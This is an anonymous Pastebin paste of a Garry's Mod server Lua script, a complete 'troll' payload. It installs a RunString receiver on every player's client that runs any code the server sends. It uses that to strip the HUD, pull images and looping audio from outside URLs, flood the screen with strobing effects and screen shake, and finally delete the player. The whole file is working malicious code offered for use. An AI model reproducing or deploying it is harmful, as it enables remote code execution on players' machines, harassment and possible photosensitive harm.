Advertisement
Guest User

Untitled

a guest
Aug 18th, 2018
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 11.33 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5.     local ret = ""
  6.     for _ = 1, math.random( intMin, intMax ) do
  7.         ret = ret.. string.char( math.random(65, 90) )
  8.     end
  9.  
  10.     return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26.         if not IsValid( pPlayer ) then return end
  27.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28.         self:NextAction( pPlayer )
  29.     end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33.     pPlayer.m_intCurAction = 0
  34.     self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38.     net.Start( "skeleton_dancing_troll" )
  39.         net.WriteString( strLua )
  40.     net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44.     pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48.     lol:SetupPlayer( v )
  49.     timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53.     lol:SetupPlayer( pPlayer )
  54.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58.     if strText:sub( 1, 5 ) == "/hentai" then
  59.         pSender:Ignite( 1e9 )
  60.         pSender:ChatPrint( "Nop" )
  61.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62.         return false
  63.     end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71.     lol:SendLua( pPlayer, ([=[
  72.         sound.PlayURL( "https://psv4.vkuseraudio.net/c813636/u173603479/audios/e0146e150e5b.mp3?extra=GBPKHe1MA1NM1OyTdOKuyrwmjgijWy5kAjUDZB-BxLnz7nWXdZG3IdSfWlEr7VmxHnHyFVVisN8maQkdxdNlE4jGM-E_3jcfq_f4ySYdhzZR37zoCO5sKLg-eLMbTVM6tQku5JSYerHi", "", function()end )
  73.        
  74.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75.         local html = [[%s]]
  76.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77.             local pnl = vgui.Create( "HTML" )
  78.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  79.             pnl:SetVisible( true )
  80.             pnl:SetMouseInputEnabled( false )
  81.             pnl:SetKeyBoardInputEnabled( false )
  82.             pnl:SetSize( intSizeX, intSizeY )
  83.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.            
  85.             local PageLoaded
  86.             PageLoaded = function()
  87.                 local mat = pnl:GetHTMLMaterial()
  88.                 if mat then
  89.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90.                     return
  91.                 end
  92.                
  93.                 timer.Simple( 0.5, PageLoaded )
  94.             end
  95.  
  96.             PageLoaded()
  97.         end
  98.  
  99.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306958-hud.png", "hud1", 300, 128 )
  100.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
  101.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306630-hud3.png", "hud3", 128, 128 )
  102.         LoadWebMaterial( "https://www.pravmir.ru/wp-content/uploads/2017/11/Vladimir-putin-600x336.jpg", "doritos", 183, 256 )
  103.         LoadWebMaterial( "https://cdn5.img.ria.ru/images/147862/49/1478624905.jpg", "fedora", 256, 256 )
  104.         LoadWebMaterial( "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSWvobmWJwkXZ-06wPc1amGVprrWolu7uh0UHg0MEj6SrRk3EHcOA", "dew", 110, 256 )
  105.         LoadWebMaterial( "https://sevastopol.su/sites/default/files/styles/node/public/2018-02-07/1.jpg?itok=_V9eU4SY", "awp", 256, 55 )
  106.     ]=]):format(lol.m_strImageLoadHTML) )
  107. end )
  108.  
  109. --HUD swap
  110. lol:PushAction( 31, function( pPlayer )
  111.     lol:SendLua( pPlayer, [[
  112.         (GAMEMODE or GM).CalcView = function() end
  113.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  114.  
  115.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  116.         for k, v in pairs(remove) do
  117.             hook.GetTable()[v] = {}
  118.         end
  119.  
  120.         local function GetWebMat( strURL )
  121.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  122.         end
  123.  
  124.         hook.Add( "HUDPaint", "newhud", function()
  125.             surface.SetDrawColor( 255, 255, 255, 255 )
  126.  
  127.             if GetWebMat( "hud1" ) then
  128.                 surface.SetMaterial( GetWebMat("hud1")[1] )
  129.                 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  130.             end
  131.             if GetWebMat( "hud2" ) then
  132.                 surface.SetMaterial( GetWebMat("hud2")[1] )
  133.                 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  134.             end
  135.             if GetWebMat( "hud3" ) then
  136.                 surface.SetMaterial( GetWebMat("hud3")[1] )
  137.                 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  138.             end
  139.             if GetWebMat( "doritos" ) then
  140.                 surface.SetMaterial( GetWebMat("doritos")[1] )
  141.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  142.             end
  143.             if GetWebMat( "dew" ) then
  144.                 surface.SetMaterial( GetWebMat("dew")[1] )
  145.                 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  146.             end
  147.             if GetWebMat( "fedora" ) then
  148.                 surface.SetMaterial( GetWebMat("fedora")[1] )
  149.                 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  150.             end
  151.             if GetWebMat( "awp" ) then
  152.                 surface.SetMaterial( GetWebMat("awp")[1] )
  153.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  154.             end
  155.  
  156.             draw.SimpleTextOutlined(
  157.                 "Vladimir Putin",
  158.                 "DermaLarge",
  159.                 ScrW() /2 +math.random( -8, 8 ),
  160.                 ScrH() /2 +math.random( -8, 8 ) +64,
  161.                 Color( 255, 0, 0, 255 ),
  162.                 TEXT_ALIGN_CENTER,
  163.                 TEXT_ALIGN_CENTER,
  164.                 1,
  165.                 Color( 0, 0, 255, 255 )
  166.             )
  167.  
  168.             draw.SimpleTextOutlined(
  169.                 "+REP",
  170.                 "DermaLarge",
  171.                 ScrW() /2 +math.random( -8, 8 ),
  172.                 ScrH() /2 +math.random( -8, 8 ) +24,
  173.                 Color( 255, 0, 0, 255 ),
  174.                 TEXT_ALIGN_CENTER,
  175.                 TEXT_ALIGN_CENTER,
  176.                 1,
  177.                 Color( 0, 0, 255, 255 )
  178.             )
  179.         end )
  180.  
  181.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  182.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  183.  
  184.         surface.PlaySound( "garrysmod/save_load4.wav" )
  185.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  186.     ]] )
  187. end )
  188.  
  189. --Disco time
  190. lol:PushAction( 10, function( pPlayer )
  191.     local idx = pPlayer:EntIndex()
  192.     timer.Create( "beat".. idx, 0.42, 0, function()
  193.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  194.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  195.     end )
  196.  
  197.  
  198.     lol:SendLua( pPlayer, [[
  199.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  200.         local time = 0
  201.  
  202.         hook.Add( "Think", "wat", function()
  203.             if CurTime() < time then
  204.                 return
  205.             end
  206.  
  207.             time = CurTime() +0.05
  208.             for i = 1, 16 do
  209.                 local part = emitter:Add(
  210.                     "particles/balloon_bit",
  211.                     LocalPlayer():GetPos() +Vector(
  212.                         math.random( -256, 256 ),
  213.                         math.random( -256, 256 ),
  214.                         256
  215.                     )
  216.                 )
  217.                
  218.                 if part then
  219.                     local Size = math.random( 4, 7 )
  220.                    
  221.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  222.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  223.                     part:SetDieTime( 4.5 )
  224.                     part:SetGravity( Vector(40, 0, -250) )
  225.                     part:SetLifeTime( 0 )
  226.                     part:SetStartSize( Size /2 )
  227.                     part:SetEndSize( Size )
  228.                     part:SetCollide( true )
  229.                 end
  230.             end
  231.         end )
  232.     ]] )
  233.  
  234.     lol:SendLua( pPlayer, [[
  235.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  236.             local sinScaler = math.sin( CurTime() )
  237.             DrawBloom(
  238.                 0,
  239.                 3,
  240.                 sinScaler *math.Rand(1, 8),
  241.                 sinScaler *math.Rand(1, 8),
  242.                 6,
  243.                 math.Rand(0.5, 2),
  244.                 math.Rand(0, 0.3),
  245.                 math.Rand(0, 0.3),
  246.                 math.Rand(0.5, 1)
  247.             )
  248.  
  249.             DrawColorModify{
  250.                 ["$pp_colour_addr"] = 0,
  251.                 ["$pp_colour_addg"] = 0,
  252.                 ["$pp_colour_addb"] = 00,
  253.                 ["$pp_colour_brightness" ] = 0,
  254.                 ["$pp_colour_contrast" ] = 1,
  255.                 ["$pp_colour_colour" ] = 1,
  256.                 ["$pp_colour_mulr" ] = 0,
  257.                 ["$pp_colour_mulg" ] = 0,
  258.                 ["$pp_colour_mulb" ] = 1
  259.             }
  260.         end )
  261.  
  262.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  263.         mdl:SetNoDraw( true )
  264.         local posCache, time = {}, 0
  265.  
  266.         hook.Add( "HUDPaint", "dance", function()
  267.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  268.                 local idx = mdl:LookupSequence("taunt_dance")
  269.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  270.                 mdl.SeqStart = CurTime()
  271.                 mdl:ResetSequence( idx )
  272.             end
  273.  
  274.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  275.  
  276.            
  277.             local w, h = 300, 300
  278.             local ang = Angle( 0, 0, 0 )
  279.  
  280.             for i = 1, 32 do
  281.                 if CurTime() > time then
  282.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  283.                 end
  284.                 local x, y = posCache[i][1], posCache[i][2]
  285.  
  286.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  287.                     cam.IgnoreZ( true )
  288.                     render.SuppressEngineLighting( true )
  289.                    
  290.                     render.SetLightingOrigin( mdl:GetPos() )
  291.                     render.ResetModelLighting( 1, 1, 1 )
  292.                     render.SetColorModulation( 0, 0, 1 )
  293.  
  294.                     mdl:DrawModel()
  295.                    
  296.                     render.SuppressEngineLighting( false )
  297.                     cam.IgnoreZ( false )
  298.                 cam.End3D()
  299.             end
  300.  
  301.             if CurTime() > time then
  302.                 time = CurTime() +0.15
  303.             end
  304.         end )
  305.  
  306.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  307.     ]] )
  308. end )
  309.  
  310. --Let the beat drop
  311. lol:PushAction( 54, function( pPlayer )
  312.     lol:SendLua( pPlayer, [[
  313.         hook.Add( "GetMotionBlurValues", "wat", function()
  314.             return 0, 0, 1, math.sin(CurTime() *13)
  315.         end )
  316.  
  317.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  318.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  319.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  320.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  321.         end )
  322.  
  323.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  324.             render.SetMaterial( Material("cable/blue_elec") )
  325.             for i = 1, 32 do
  326.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  327.             end
  328.         end )
  329.  
  330.         timer.Create( "thedrop", 0.42, 0, function()
  331.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  332.         end )
  333.     ]] )
  334. end )
  335. lol:PushAction( 175, function( pPlayer )
  336.     lol:SendLua( pPlayer, [[
  337.         surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  338.  
  339.         local sounds = {}
  340.         for i = 1, 4 do
  341.             sound.PlayURL( "http://d.zaix.ru/6Z37.mp3", "noblock noplay", function( pChan )
  342.                 sounds[#sounds +1] = pChan
  343.             end )
  344.         end
  345.  
  346.         timer.Create( "asdf", 1, 0, function()
  347.             if #sounds ~= 4 then return end
  348.             timer.Destroy( "asdf" )
  349.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  350.         end )
  351.  
  352.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  353.     ]] )
  354.  
  355.     pPlayer:Remove()
  356. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement